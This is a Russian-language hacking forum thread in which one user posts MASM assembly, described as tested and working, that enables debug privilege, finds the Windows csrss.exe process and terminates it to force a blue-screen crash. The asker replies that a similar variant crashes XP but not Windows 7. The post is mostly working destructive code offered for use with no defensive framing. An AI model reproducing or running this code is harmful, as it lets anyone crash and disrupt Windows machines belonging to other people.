привелегии процесса

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by pft, 19 Mar 2013.

  1. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    вот 100% рабочий код.проверил.
    естесно венда вывалится в бсод если крякнуть csrss.exe

    Code:
    .586
    option casemap:none								
    .model flat,stdcall								
    include include\windows.inc
    include include\kernel32.inc
    include include\user32.inc
    include include\advapi32.inc
    include include\ntdll.inc
    
    includelib lib\kernel32.lib
    includelib lib\ntdll.lib
    includelib lib\user32.lib
    
    includelib lib\advapi32.lib
    
    
    .data										
    old ULONG ?
    
    Problem_child db "csrss.exe",0
    AppName db "csrss.exe"   ,0
    
    .data?										
      hSnapshot dd ?
      hProcess dd ?
      ProcEnt PROCESSENTRY32 <?>
    
    .code
    
    
    
    EnableDebugPrivilege proc
    invoke RtlAdjustPrivilege,20,TRUE,FALSE,addr old
    EnableDebugPrivilege endp
    
    
    start:
    call EnableDebugPrivilege
    
    invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS,0
    .IF (eax != INVALID_HANDLE_VALUE)
    mov hSnapshot,eax
    mov [ProcEnt.dwSize],SIZEOF ProcEnt
    invoke Process32First, hSnapshot,ADDR ProcEnt
    .IF (eax)
    @@:
    invoke lstrcmpi, ADDR Problem_child ,ADDR [ProcEnt.szExeFile]
    .IF (eax == 0)
    invoke OpenProcess, PROCESS_TERMINATE,FALSE,[ProcEnt.th32ProcessID]
    .IF (eax)
    invoke TerminateProcess, eax,0
    .ELSE
    .ENDIF
    .ENDIF
    invoke Process32Next, hSnapshot,ADDR ProcEnt
    test eax,eax
    jnz @B
    .ENDIF
    .ENDIF
    invoke CloseHandle, hSnapshot
    
    invoke ExitProcess, 0
    end start
    
     
  2. pft

    pft New Member

    Joined:
    18 Mar 2013
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    спс, щас опробую. Разобрался с вариантом Kaimi. Хр роняет, на семерке и серваке 2003м не работает пока.